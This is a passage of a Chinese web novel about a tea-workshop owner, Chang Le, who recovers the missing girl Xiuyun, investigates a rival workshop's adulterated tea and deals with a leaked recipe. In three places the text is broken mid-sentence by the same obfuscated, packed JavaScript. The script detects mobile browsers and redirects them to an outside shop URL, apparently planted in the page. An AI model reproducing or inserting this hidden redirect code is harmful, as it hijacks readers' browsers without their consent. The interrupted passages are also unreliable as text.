红婶想着自己要早起准备早饭，总会打扰到孩子睡觉，更兼绣云与碧桃份属同龄，又能说到一处，就同意了她去与碧桃一个房间。 常乐带着红婶、香儿赶到时，听到消息的杨初月等人也都围了过来。 碧桃坐在床上，见她们过来，就将手中的东西递到了常乐面前。 “本想给娘子送过去，但听到脚步声就在这里等着娘子了。” 常乐看着手中的绣片问：“这是什么？” “这是绣云最近在绣的，因她平时就爱这些，我就没有在意。方才听说她不见了，我就想着翻一下她的床铺，就翻到了这个。我不懂绣花，但也看得出这不像她之前的针法。” 常乐回忆了一下绣云送她的那只香囊，与往常在她衣服上看到的刺绣。 “这上面有旋针绣和晕针绣，确实不是她之前会的针法。” 她转过身问红婶：“绣云这段时间有去哪里学过刺绣吗？” 红婶摇头：“未曾，刺绣太费时间，我怕她耽误了制茶，” 常乐便皱眉，她隐约觉得有些不对，自己之前好像忽视了些什么。 正在她思索之时，杨初月忽然拿过绣片说：“这上面的旋针绣和晕针绣，是飞针阁的手艺。” 见众人都望向自己，她再次开口：“我之前在飞针阁做过几年工，这是那边的技艺不会错的。” “我没听她说过什么飞针阁，她怎么会飞针阁的技艺呢？”红婶越显慌张，眼中的泪珠就没有断过。 常乐又看向碧桃，对方会意摇头：“她也没跟我说过飞针阁的事情。” 想必是说出来怕被红婶责骂吧，但常乐未把这句话说出口。 “先去飞针阁问问吧，或许就是在那儿因为什么是绊住了脚。”她尽量柔声安慰红婶。 正欲转身往外走，忽然听得香儿一声喊：“哎哟，我怎么把这个给忘了！” 常乐以眼神询问她，她借着说：“飞针阁有为绣娘，及善旋针绣和晕针绣的，她的堂哥就是甘露坊的匠人。” “甘露坊。”常乐在嘴里念过这三个字，然后焦急地问碧桃：“你可知道这些绣片是她什么是绣的。” “具体记不太清了，大概就是这两三天吧。” “这两三天。”她面沉如水，冰冷地吐出这几个字。 “千防万防，真是没想到他竟然把主意打到了孩子身上！” 一方绣片生生被她扯得裂开，到绣花处才止住。 15. 绣云 “香儿，你带几个人去一趟县衙，问问今日在龙芽坊巡视的捕快有没有发现什么。” 交代完后，常乐带着红婶、季念柔和刘玉娘上了马车。 到飞针阁不过一刻钟的时间，她一路上皆掀着帘子观察外面的情形。 靠近目的地时，她敏锐地察觉到有几个男人朝这边看了过来。 “停下。”马车应声而停。 常乐望着几人疑惑的神情解释：“门口守着的几个人不太对劲。” “我和玉娘先进去，你们二人在马车里，情况不对就赶紧去县衙求援。” 以命令的眼神将红婶和季念柔将要说出的话压住，常乐领着玉娘往千针阁大门走。 门口的那几个男人并未拦着她们，走到大门口却被一个四十岁上下的妇人挡住了。 “我们店要打烊了，二位有事请明日再来。”说着就要将两人往外赶。 “这位妈妈先不忙，我们是来找巧娘的。” 常乐看到对方眼神里闪过一丝慌张。 “实在不巧，巧娘今日身子不适，并未到店里来。” “是吗？”她眉头微蹙，“可我的侍女说今日还在店中看到过她。” 一旁的玉娘会意思，立刻开口搭话。 这妇人眼见瞒不过，索性破罐子破摔，直接伸手把二人往外推。 “不管怎么样，今日反正已经打烊了，要想找巧娘明日再来吧。” 常乐拉着玉娘躲开对方伸过来的手，刚想开口就听见内间传来响动，一个年轻女子喊了起来。 “东哥，她真的不在这里，我求你……” 然后便是女子被推倒的声音，常乐和玉娘不顾那妇人的阻拦径直冲了进去。 “绣云在哪里？你把绣云藏到哪里去了？” 还未等到回应，就听见香儿在外面喊自己。 香儿急冲冲跑到常乐身边耳语几句，常乐面色舒缓不少，但瞬间又竖起双眉怒视倒在地上的女子。 “夏巧，你到底把绣云藏到哪里去了！” 夏巧神色慌张、脸上挂着两行泪痕，嘴角不住地颤抖，刚一开口，还未吐出一个字，旁边的男子就横在当中挡住了视线。 “什么绣云，从来没听说过。你是谁，为什么到这里吓我妹子！” 常乐看着眼前瘦高的男子，想必这就是夏巧的堂哥夏东了。 正此时，红婶和季念柔也奔了进来。 “娘子，香儿说绣云已经找到了，是不是真的？我们回龙芽坊去好不好。” “嚯！自家孩子丢了竟赖在别人身上，这下不是找到了，赶紧回去看孩子，不要冤枉好人！” 常乐瞪着一脸看热闹神态的夏东，回过头安抚地看了红婶一眼。 “我们走吧。” 马车上，香儿大致将事情说了。 她刚走出龙芽坊没多久，就遇到了正在周围巡逻的捕快，其中一人手中正拿了一个婆子，绣云就站在那个婆子旁边。 “看绣云的样子，那婆子像是个好的。”香儿说。 回到龙芽坊，分开问了绣云和婆子才将事情的原本还原了。 原来早在在龙芽坊满枝春夺了魁首的第二日，绣云就在街上“偶遇”了夏巧，被她手中的绣片吸引。 一来二去，夏巧就开始教绣云旋针绣和晕针绣，学会了以后，还答应教给她更多的针法。 三日前，绣云按照约定去寻夏巧学针法，却被飞针阁其他的绣娘发现，直言要禀告东家。 绣娘私自传艺是会吃官司的，夏巧苦求，那绣娘就说要绣云去偷满枝春的方子，这样她就保守这个秘密。 “那你答应了吗？”常乐问。 绣云点了点头，红婶一个巴掌就扇了上去。 “死丫头，常娘子对我们娘俩这么好，你怎么能……” 红婶已经泣不成声，绣云捂着高肿的脸，眼神倔强地望着常乐，两行泪流了下来。 “娘子，我对不起你，但是我没有将真的方子告诉她。” “你还说！”眼见着红婶还要动手，常乐一把拉住了。 “红婶，我相信绣云。” 绣云当然不知道满枝春的方子，以玉兰打底的方子没有任何人知道，秀云只知道最后用上品茉莉提花的那个版本。 但听她的语气，应该连这个都没有说出去。 “我跟那个人说，在茶坯复火的时候，将茉莉花一同放进锅里。” "他们照做了，然后发现味道不对，所以今天才会到飞针阁找你？"常乐问。 绣云点头：“是，但巧娘子发现了，她让我躲进了宁婆婆的房间，黄昏的时候，宁婆婆趁他们吃饭将我带了出来。” 说到这，绣云忽然起身拉着常乐的衣袖恳求。 “娘子，我自知对不住娘子，但恳请娘子放我去学刺绣，我日后定会报答娘子。” 常乐止住冲过来的红婶，问：“你打定主意了！” 绣云目光坚定，脊背挺直，她点了点头：“娘子对我母女的大恩大德绣云没齿难忘，我也曾希望自己放弃刺绣，一心跟着娘子制茶，但这几日与巧娘子学刺绣的经历让我明白，我这一辈子只想刺绣。” “娘子……”一旁的红婶忽然开口，常乐转头，只见她擦干了眼泪，竟然也走了过来拉住。 “求娘子成全。” 常乐忽然笑了，将两人拉起来，然后拉着红婶的手说：“难道我不同意，你现在还养不活一个女儿了？” 红婶一下卡壳，“我……” “好了。”常乐擦了擦绣云的泪珠，“想学刺绣就去学，你心不在这里，我还嫌你弄坏了我的茶叶呢。” 绣云憋红了脸，终于在常乐的揉搓下破涕为笑。 “只是去哪里学还需再议，千针阁你是不能再去了。” 提到千针阁，众人的眉头再度皱了起来，虽然绣云没有出事，但千针阁既然和甘露坊有牵扯，她就绝对不能再去。 回到房间后，香儿一脸担忧地看着坐在案前一直发愣的常乐。 案前的饭菜已经热过一回了，现在又已经半凉。 娘子只要一开始思考就会像现在这般不动筷子，望着一个方向出神。 菜再热就吃不得了，她拿碟子取了点芙蓉糕、凤梨酥、蛋黄酥等糕点，又提了一壶玫瑰卤。 “娘子，用些糕点吧。” “哦，放着吧。” 香儿将桌子上的饭菜收拾好，再回来的时候就见娘子捏着一块咬了半口的凤梨酥皱眉沉思。 她暗自叹了口气，走到近前开口：“娘子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703529|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亥时了，用些糕点就歇息吧。” 常乐回过神来，将手中的半块凤梨酥放下。 “撤走吧，我吃不下了。” “娘子。”香儿到常乐身边蹲下，“娘子多少还是吃点吧，身子要紧。” “我只是没想到甘露坊的张诚竟然如此下作，绣云才十岁，他竟然把一个孩子扯进来。” 常乐握紧了拳头，恨道：“不行，我必须得让他吃点苦头，好叫他知道我们龙芽坊不是好惹的！” 说完，她饮了一口玫瑰卤，又拿了一块芙蓉糕吃了起来。 香儿的脸色却并没有变好些，她开口：“甘露坊在庆丰县经营上百年，我们龙芽坊能与之抗衡吗？” “不试试怎么知道呢。”常乐眉眼低垂，“他们既然挑衅，我们就该反击回去，让他们对我们有所忌惮，否则这样的事情日后只会更多。” * 翌日，常乐让香儿将石头带到了龙芽坊，林牧川上京并未将他带上，小孩正在控茶司闲得打蚊子，一听常娘子有事吩咐，立刻换上干净的衣服过来了。 “娘子有礼。”石头向来活泼机灵，笑起来眉眼弯弯，脸颊处还有一对酒窝，常乐一见他就不由得笑了出来。 “多日不见，你可好？” “好着呢，林大人见我人小，不肯让我做重活，现在每日就负责整理书信，等大人回来好禀报。” 常乐与他寒暄过后，就说了想让他组织人手去打探甘露坊的事情。 “甘露坊？为何？”石头颇为疑惑。 常乐本想说具体的原因不需知道，但看到石头可爱贴心的模样又不忍心说出如此生分的话。 “因为他们的坊主针对我们龙芽坊，你若想知道可以问你香儿姐姐。” “什么！”石头听了这话，肉嘟嘟的小脸皱成一团，“他们是带人过来找茬了吗？我去跟县老爷说，让老爷命捕快去抓他们。” “你怎么去跟县老爷说？”常乐凝眉。 石头毕竟年龄小，又与常乐相熟，于是就不设防地回了：“娘子不知道吧，我们林大人可是县老爷的救命恩人，县老爷虽然职位比林大人高些，但一直对林大人很恭敬的。” “所以连你这个小跟班的话，县老爷也会放在心上了吗？”常乐笑着拧了一把石头的脸，把小孩气得直跳。 “娘子，我不是小孩了，不可以捏我的脸！” “好好好。”又说了些打探的重点后，常乐就放石头走了。 待人走后，她才收起了笑容。 难怪县令会对林牧川的话如此重视，原来是有这个缘故在。只是他作为一个控茶司的司长，又如何能对一个县令有救命之恩呢？ 常乐便去问香儿，香儿闻言却有些为难，踌躇再三才肯说。 “林大人原是雁城守将，县令大人任控茶司司长与外邦交易时差点丧命，是当时的林将军救了他。” “他是将军？” 香儿点头以后，常乐才又缓缓地坐了下来，往日的一些记忆碎片忽然慢慢浮现了出来。 四年前，她还在深宫当中，就偶尔能听到前朝不同党派对军权的争夺。 这林牧川估计就是在党派争夺中失利，被夺了兵权吧。 一城的将军成了管茶的，难怪他不愿别人提起。 16. 较量 石头的打探的消息隔一日就亲自过来送一趟，这几日的帖子看过来，常乐对上面记录的事件提不起什么兴趣。 以庆丰县在甘露坊的地位，等闲的小事说出来不不仅达不到示威的效果，还会起到反作用。 这日歇晌后，香儿将石头送过来的帖子递了过来，她略翻了翻，见也都是些平常的事，刚想放下，其中一段文字就引起了她的注意。 “十七日，亥时，甘露坊五人乘马车至东郊密林，半个时辰方归。” 这么晚了，甘露坊的人去东郊的密林做什么？哪里有什么是需要晚上这么多人乘着马车去的？ 常乐思索了一会儿，又拿出前几次呈上来的消息翻开，终于在前日的帖子里看到了相关的消息。 “十五日，张坊主乘马车至东郊，携艾草等归。” 此时乃是五月，正是各家使用艾草之际，且不论他需要艾草做什么，但十五日离端午才过去十日，难道甘露坊就没有艾草了吗？ 在者，张诚那是一坊之主，纵缺了艾草，一句话就有人献上，他为何要亲自去摘，为何又一定是东郊？ 东郊那边到底有什么？ 将盯着这两件事的人叫来回话，证实了各处细节后，常乐便带着季念柔一同去了东郊。 下了马车，二人往密林中走，入眼皆是高耸的树木，林间杂草丛生，一看就是多年无人踏足的样子。 “娘子，如此暑热，为何偏要到这儿来，这种地方蛇虫鼠蚁最多了。” 季念柔一边抱怨，一边用长枪劈砍着挡在二人前面高度及腰的杂草。 “念柔，你看这附近是否有这几日有人来过的痕迹？”常乐问。 “啊？”对方拔高了声音，“这么热的天，除了我们，哪儿还有其他人会来啊。” 季念柔兀自抱怨着漫天乱飞的蚊子，常乐的眸子却已经沉了下来。 “是啊，这样的天气谁会过来呢？既然过来了又为何要掩去痕迹呢？” “什么？”季念柔有些不解，“娘子你在说什么？这里有人来过？” “从镇上到这儿只有这一条路，想要进到林子里，是一定要踏过这片杂草的。” 常乐边说边蹲了下来，用手拨动身前的草堆，仔细观察着。 “你看。”她指着一处痕迹道：“这些杂草上都沾了泥土，且就这一片沾上了，周围都是干干净净的，这说明什么？” 季念柔凑近看了看，然后恍然大悟道：“这说明有人踩过。” 说着，她又拨开了其他的地方。 “娘子你看，这里也有泥土，还有些杂草已经折断了。” “是啊。”常乐起身，看着这片杂草，“他们必定是小心地踩过，返回的时候，又小心地将草扶了起来，但踩过了就是踩过了，怎么可能恢复如初。” “娘子，这些是谁踩的，我们查这个是要干什么？” 常乐却不回答，她分开杂草往里面走，只说：“待会儿告诉你，先随我进去确定一件事。” 季念柔只得跟上。 进到林子里，常乐一边分辨着眼前的树一边问：“念柔，你可知道这林子里是否有槐树和柳树？” “这个我倒不知，娘子你要找槐树和柳树干什么？难道你要掺到茶叶里吗？” 说到这，季念柔忽然三两步追了上来，双手张开挡在了常乐的前面。 “娘子，你不能这样，我爹说了，茶叶里面不能加槐树和柳树的叶子，人喝了会生病的！” 常乐便笑：“采不时，造不精，杂以卉莽，引之成疾【注1】，陆羽《茶经》里的记载，只要是制茶之人就知道。” 见对方露出不解的神情，常乐又说：“不是我要往茶叶里加柳树和槐树的叶子，而是已经有人在这样做了。” “是谁！” “甘露坊。” 常乐回答了以后，就越过季念柔往里面走，寻了一会儿，终于找了一处被摘了叶子的槐树，和另一处被摘了叶子的柳树。 “甘露坊就是靠这样的手段做到庆丰县制茶作坊中数一数二的吗？”她冷笑一声，记好这两处有的位置方才返回龙芽坊。 回去以后，她又叫来了石头，让他停了其他的方向，只挑最机灵的几个人专盯着甘露坊往东郊去的动静，最好还能探到坊内制茶的细节。 “你看能不能探到他们在制茶的时候，是否加了其他的叶子进去。” 石头闻言大惊：“不至于吧，甘露坊要这么做，那不是砸自己的招牌吗？况且，各坊制茶皆是严防死守的，这如何能探得到？” “那就想办法拿到一些他们制好的茶，需是下等的。”上等的茶最讲究色香味，给张诚十个胆子他也不敢往上等的茶叶里面掺别的叶子。 “这……”石头犹豫了许久，最终还是在再三说明只量力而行的情况下才勉强答应了。 * 甘露坊的事情交代出去后，常乐便又开始忙着与茶商打交道。 其他作坊今年产出的春茶早在之前就已经被茶商定下，春天一过就已经拉走了，如今留在这里的茶商皆是还盼着再进一些茶叶的，其中又以想进茉莉花茶的为多。 春茶夏花，甘露坊等一些在春天没赶上制茉莉花茶的大作坊，在完成单子以后，也开始尝试用剩下的茶坯制作。 常乐顶着首创的名头，又夺了今年斗茶大会的魁首，自然是有很多商人对龙芽坊的茶很感兴趣的。 其中又以陈良、郑柏两位的实力最为雄厚，她打定了主意要与这二位做成长久的生意。 如归楼上，常乐开盛宴邀请二人品茶，此时端出来的自然是用上品茉莉做了“提花”这一步骤的茉莉花茶，但她打出来的却是“满枝香”的名头。 “陈老板、郑老板，这便是我龙芽坊的满枝香，还请二位品尝。” 观汤色、闻茶香、品茶味，二人细细品味过以后才开始赞叹。 “不愧是魁首，果然香味鲜爽，回味悠长，这可就是上贡的那一味？” 常乐笑道：“我也不瞒二位，这茶的滋味只怕比上贡的还好些哩？” 这话果然引起了二人的兴趣，开始追问原因。 “这也简单，二位想，茶叶自然以春茶为佳，但这茉莉花可是夏天的时候才盛放的。春茶配夏花，这时的香味才更浓郁清新。” “是这个道理！”圆脸的陈良抚掌大笑，“郑兄，看来我们比天子还更有口服了。” 常乐也在一旁打趣：“陈老板这话可只能我们私下说说，叫外人听去了只怕要问我个大不敬之罪。” 此话一出，二人又是一阵大笑，趁着此时气氛正好， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716016|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常乐就与二人将茶叶交割的契书签了，又约好了明年的量。 此后，宴席撤下，宾主尽欢。 * 龙芽坊里的匠人照着契书单子的数量赶着制茶，常乐在房间里捏着石头递过来的帖子发愁。 这么些天了，竟然一点多的线索都没得到，甘露坊不再有人往东郊的密林里去，坊内也严防死守，连只蚊子都飞不进。 常乐心中隐隐有些不安，但她前后思索许久也不觉其中有何纰漏，于是只得让石头再费点力气，干脆先偷些茶叶出来。 又过得几日，石头依旧没有用得上的消息过来，香儿却过来说陈良、郑柏两位茶商找来了。 常乐赶紧吩咐将人引至偏厅，自己换了身衣服后再到偏厅相见。 只这一见，二人就带来了一个让常乐惊讶异常的消息。 “二位老板，好好的为何要毁约？” 按照契书，此时毁约二人是要赔一大笔银子的，但常乐看二人的脸色就知道事情并不简单，于是也不提这事以免触怒二人。 “你给我们的根本就不是夺了魁首的满枝春，只是普通的茉莉花茶罢了！”陈良道。 “怎么可能？”常乐立刻反驳。 “你自己看。”陈良将一个布袋扔在桌子上。 常乐拿出里面的茶叶一看，又一闻。 “这是？” 郑柏接话：“这是我们在甘露坊拿到的茶叶。” 怎么可能？常乐心中大骇，这分明是经过“提花”的茶叶，怎么可能是甘露坊能制出来的？ “常娘子，满枝春只有龙芽坊能制这可是你那日亲口说的，这你怎么解释？” 怎么解释？常乐强迫自己冷静下来，当务之急是先稳住这两位茶商，她心中思量了一会儿后唤来了香儿。 “去我房间，将博古架三层的那罐满枝春沏一壶来给二位老板品。” 香儿领命走后，常乐又请两人稍安勿躁，且等品了茶再说。 等茶上来以后，闻到香味二人脸色就变了，等喝了几口后他们脸上疑惑的神情就更明显了。 “这……这味道好似不同……”陈良道。 “也与那日的不同……”郑柏接口。 二人齐齐看向常乐道：“娘子，这是为何？” 为何？因为这才是用玉兰花混合茉莉花“提花”了的，真正的满枝春。 但这肯定是不能告诉二人的。 “这就是我那日与二位品尝的满枝春，同是茉莉花茶，二位这几日太操劳，一时分辨不出来也是情有可原。” 常乐的话说得漂亮，却没有打消二人的疑惑。 “不可能，我们这还有你当日相赠的茶，这明明和甘露坊的茉莉花茶一模一样。” 此时自然不能露馅，她只能佯装接过二人手中的茶叶对比，然后一拍桌子。 “香儿，这就是你给陈老板和郑老板准备的茶叶！” 她边说边给对方递眼色，香儿会意，看过茶叶后跪倒在地请罪。 “娘子恕罪，是奴婢不小心拿错了。” 常乐让香儿下去后，又亲自向二位茶商赔罪。 两位还未从中完全反应过来，就听到外面有个小童的声音大喊。 “常娘子，林大人给你送圣上御赐的墨宝来了！” 17. 泄露 偏厅的门打开，常乐一眼就看到了那个挺拔的身影。 “常娘子，如你所料，你所研制的茉莉花茶果然深得圣上欢心……” 说到这他才看到房间里还有其他人。 见对方露出诧异的神情，常乐才想起来介绍。 “这二位是茶商陈良、郑柏二位老板，我们正谈生意呢。” 陈、郑二人自然是认识这位控茶司司长的，双方见过礼后，林牧川才又开口。 “是我来得不巧打扰诸位了，你们谈，我到耳房稍候。” 两位茶商自然连称不敢，话里话外都透露出想要一睹御笔的意思。 “圣上亲笔，看一眼都要增寿的，不知我们二人是否有这个眼福。” 林牧川看向常乐，后者点了点头。 “也好。”说着他就伸手示意，一旁的石头赶忙将手中的漆盒递上。 陈良和郑柏早趴在了地上，常乐看了看二人，也上前两步提起裙角跪倒在地。 “圣上御笔亲题香盈袖三次以嘉龙芽坊坊主常乐献茶之功。” “吾皇……”常乐心中五味杂陈，但只稍顿了顿便继续念了下去，“万岁万岁万万岁。” 抬眼一看，明黄卷轴中央的宣纸上，“香盈袖”三个字是那么地熟悉。 心中还未升起更多地感慨，旁边两位茶商的恭维之语就将她拉回了现实。 “哪里哪里，都是圣上英明，也多赖林大人提携，某不过略尽绵力而已。” 附和着二人的恭维，常乐又提起了此次茶叶之事。 “这事确是我龙芽坊有错在先。”说着将香儿拿来的两袋茶叶送上，“这才是我们的满枝春，还望二位老板笑纳。” 陈、郑二人自然满脸堆笑地接下了，还欲在原本定下的量上再加三层，还是常乐再三说明人手不足赶不出来才作罢。 但也将来年预定的份额提了五成，双方当场写下契书，就由林牧川做个见证，签字画押。 送走两位茶商后，林牧川又将恭喜的话说了一遍。 常乐心中千头万绪，再次道过谢后就欲送客。 “你不愿跟我说说发生了什么事吗？”林牧川发问。 “如大人所见，我们给错了茶叶样品。”常乐回答。 林牧川并不接话，凝眉看着眼前满腹愁绪的人。 石头见状焦急地在一旁跺脚道：“娘子，你就跟林大人说说吗，你不知道，张诚他抓住了我们过去就打探的人，在县老爷跟前递了状子要告你哩！” “什么？”常乐惊愕，连忙拉着石头问，“怎么回事？” “前几日娘子不是说要令人去甘露坊偷些茶叶吗，我令人去做了，那人好不容易溜了进去，刚抓了一把茶叶就被拿住了。” “然后他就把我供了出来？”常乐咬牙。 石头眼神闪躲，嗫嚅道：“这也不能怪他，都是张诚威逼利诱。” 常乐脸沉如水，问：“这是什么时候的事？” “状子是今日一早递的，县令大人看过以后就将我叫了过去，我刚说完事情经过回到控茶司林大人了就从京城回来了。” 石头说着，眼睛瞟了一眼林牧川，接着开口：“我将事情与大人说完，又有巡捕过来说有两名茶商气势汹汹地闯进了龙芽坊。” 常乐只觉得头晕目眩，原来这些事情都被林牧川知道了。 她指了指桌上的漆盒问：“所以你才特地带了御笔过来，就是为了吓退那二人。” 见对方点头，常乐的心更沉下去一分，她扶着香儿的手坐到凳子上，紧闭了双眼又开口。 “所以，你猜到了多少？” 林牧川凝眉答道：“前面的事不提，只说眼下。你怀疑张诚将卉莽掺进了茶叶里，你想拿到证据后公之于众，让甘露坊名声扫地。” 见对方点头，他又说：“如今看来，或许这一切从张诚去东郊密林开始就是一个诱敌深入的圈套，他一步步引你入局，最后抓住进去偷茶的人，反将你一军。” “但是。”林牧川接着开口，“我原本以为事情就是如此而已，但听到巡捕的话，我就想这两件事是不是有什么联系，这期间究竟还发生了什么？” 常乐心力交瘁，挥手让香儿退了出去，林牧川见状也示意石头离开。 只剩他们二人以后，常乐才开口：“我的方子泄露出去了，甘露坊新制的茶是我新研制的方子，为了保住这两个单子，我将更新的茶给他们了。” 林牧川思索着她话中的意思，才说：“但你这更新的茶的制作方法还未教与匠人们。” 常乐点头，而后抬手捏着眉心疲惫地开口：“如今离交割的日子不久了，匠人们还不知道满枝春的制作方法，更重要是……” 她忽然抬眼盯着对方，恨声说：“我还不知道这方子是如何泄露出去的，我得解决了这个事情才能将方子告知她们。” “开始排查吧。”林牧川道，“知道这个方子的有多少人？” “倒不多，我只教给了领班的四人……”后续的话常乐不愿再说，她不想在林牧川面前袒露自己不愿相信那四人可能背叛自己的意思。 “那就从这四人开始，既然契书已签，想必这个方子制作的时间也久了，说不定就被其余的匠人知道了。” 常乐听出了对方话语中安慰的意思，她垂下眼眸，不着痕迹地点了点头。 林牧川见状也不再多说，重提了张诚的事。 “这么一说就清晰了，以我对张诚的了解，他大费周章引你入局，不会只为了让你顶一个偷茶的名头，他心中十分清楚，县衙那边会将此事按下来。” 常乐听到这倏地抬头看着他，林牧川才觉自己说漏了嘴，忙又接着往下说。 “他应当是以此事吸引你的注意，暗地里与其他作坊联合找上了龙芽坊的匠人，或威逼或利诱，或两者皆有，将方子拿到了手。” “对啊！”常乐忽地从凳子上起身，眼珠转了几圈，“我这几日确实将许多精力都用在了留意甘露坊的动向上，自己内部的事情确实过问的少，张诚在庆丰县交友颇多，与其他作坊联合对付我实在是轻而易举。” “我果然还是太愚蠢！”常乐一拳砸在桌子上。 林牧川赶忙凑到近前，见她的手无碍之后才说：“你若愚蠢，那天下又有几位聪明人？” 他拧紧了双眉望着常乐，正色道：“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722330|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的这些你若静下心来自然能想到，你现在只是关心则乱。” 常乐受不得这眼光，只对视了一眼便移开了眼睛，暗自长吁了一口气。 “是，是我太冲动了，我不该为了报一时之气自乱阵脚。” 说完，她对着林牧川长揖一礼，道：“多谢林大人此番相助与提点，常乐感激不尽。林大人舟车劳顿，想必还有许多公务未完，我就不留大人了，待事情过去我亲自下帖子为大人洗尘，还望大人赏脸。” 林牧川见她脸色平缓，知道她已经想明白了，便也不推辞，告辞离去。 待人走后，常乐将香儿唤了进来。 “让四位领班到这儿来，再将四处通往坊外的门锁上，不论是匠人还是其他，令龙芽坊内所有人停下手中的事，全部到大堂候着。” 说着，她又看了香儿一眼，道：“包括你。” 香儿眸光一闪，知道事情不对，于是也不敢多问，立刻道了声遵命就出去了。 刘玉娘等四人过来以后，她并不多话，劈头便问：“是谁将提花的方子泄露出去的？” 这陡然的一问，叫众人都愣住了。 还是程兰心先反应了过来，问道：“娘子，可是出什么事了？” 常乐的视线从四人的脸上滑过，她不愿意相信这四人会背叛自己，但事情既然已经发生，就必然与这几人脱不开关系。 “提花的方子我只与你们四人说过，如今方子泄露，甘露坊制出了一样的茶！” 说着，她将陈、郑二人带来的茶叶递到了几人面前。 刘玉娘率先将茶带接了过去，细细看过、嗅过，又拿出一片放到嘴里嚼过以后猛地惊叫：“娘子，你是说，这是甘露坊制出来的？” 见常乐点头，刘玉娘声音陡然提高：“这是怎么回事！甘露坊怎么会制满枝春？” 常乐没有将自己是拿的混合了玉兰花提花的茶叶参与的斗茶大会，龙芽坊的匠人皆以为自己目前制作的就是满枝春。 刘玉娘看了看其余的三人，然后忽地跪倒在地，以手指天道：“娘子明鉴，我刘玉娘对天发誓，若是我泄露了满枝春的方子，叫我天打雷劈，百世不得超生。” 其余三人见她如此行为，纷纷效仿。 常乐心中暗叹，连忙让众人起身，然后才说：“我既然将这方子教与你们，便是相信你们不会做出背叛龙芽坊的事。你们好好回忆一下，在提花的时候，是否有被别人看到过。” 众人面面相觑，还是杨初月开了口：“娘子，前几日我在提花的时候，忽然内急，就去了茅房，因为着急就忘了锁门，不知道这期间是否有人进去过。” 常乐还未开口，刘玉娘就着急地发问：“是哪一日？什么时辰？” 杨初月思索了片刻才答：“就是七日之前，大约是酉时。” “那便是六月初二。”刘玉娘接口，然后转头对常乐道：“娘子，我们查一下六月初二酉时有哪些人在提花的房间附近走过，就能知道是谁了！” 常乐看着刘玉娘殷切的眼光，同时也看到了一旁的程兰心欲言又止的神态。 她朝刘玉娘点了点头，然后便领着四人一同往大堂中去。 18. 御笔 月半圆，嵌在漆黑的天幕中，旁边一点星子也无，亮得如同天豁开了一个口子。 常乐立于院中竹林之下，回忆着这段时间自己的所有行为。 诚如林牧川所说，她太冲动了。 从得知张诚为了方子威逼利诱绣云开始，或许，要从最开始龙芽坊开业的宴会上算起，她面对张诚等人的挑拨回应都太过张扬。 倒不是不可张扬，只是现下自身羽翼未丰，想要与他们抗衡迂回战术才更有效果。 自己为何会沉不住气呢？ 常乐想起了刚到庆丰县时的处境，当时面对憨哥儿家中三人如同囚禁般的对待，尚能曲意逢迎，怎么只是轻巧地试探就能引得自己心绪烦乱。 或许是因为脱离了那般困境，压抑许久的心境便爆发了。 手中有些了可用的权势，便受不得他人的挑衅，急于给对方一记，这才使得对方将计就计令自己陷入了被动。 白天的时候，她领着刘玉娘四人往大堂而去，走到一半她就改变了主意。 到了大堂，对于秘方失窃一事她只字未提，反而十分高兴地宣布了圣上御笔之事。 眼见着众人的神色转忧为喜，她又将为庆贺荣得御笔亲提，五日后举办盛会且每人可得半吊赏钱的决定一说，大堂诸位的喜色更真了几分。 夜间风凉，香儿拿来披风给她披上，她转过头温和一笑。 “今日，委屈你了。”说着将手上的玉镯褪下放到对方手中，“这个镯子就当补偿了。” 香儿连忙推拒：“娘子这是做什么，娘子也是无奈之举，奴婢不觉得委屈。” “那就当奖励你行事机敏。”常乐亲自把玉镯戴到香儿的手腕上。 “这些日子，你也多注意些匠人那边的举动，泄露消息的人应当不会就此打消怀疑。” 虽然在大堂时没有大张旗鼓地宣布方子泄露的事，但这个人一定是要揪出来的，常乐决定暗地里调查。 “娘子，为何不将此事说出来？”香儿不解地问。 “因为我有另外的打算。”常乐望着天边的月亮，“这个方子已经泄露，继续追究下去也于事无补，不如转变想法，好好利用如今的形势。” 香儿自然听不懂话里的意思，但既然娘子不愿意再说了，她也就没有再问。 * 过了几日，常乐就令人传出话去，为庆贺龙芽坊得圣上墨宝，六月十五日，将在如归楼宴请所有庆丰县制茶作坊的坊主，届时，诸位将有幸一睹圣上御笔。 这个消息本就足以掀起风浪，但令各位坊主更在意的却是请帖上的后面一句话：弊坊坊主将在宴席上公布“满枝春”的制作方子！ 这可是在斗茶大会上夺了魁首的茶叶，以往的魁首无一不给作坊带来了大量的单子和高额的银钱，龙芽坊当真舍得？ 惊讶的不止各坊的坊主，还有龙芽坊自己的匠人。 刘玉娘气冲冲地闯进了常乐的房间，也不顾对方是自己的东家，一张口就是质问。 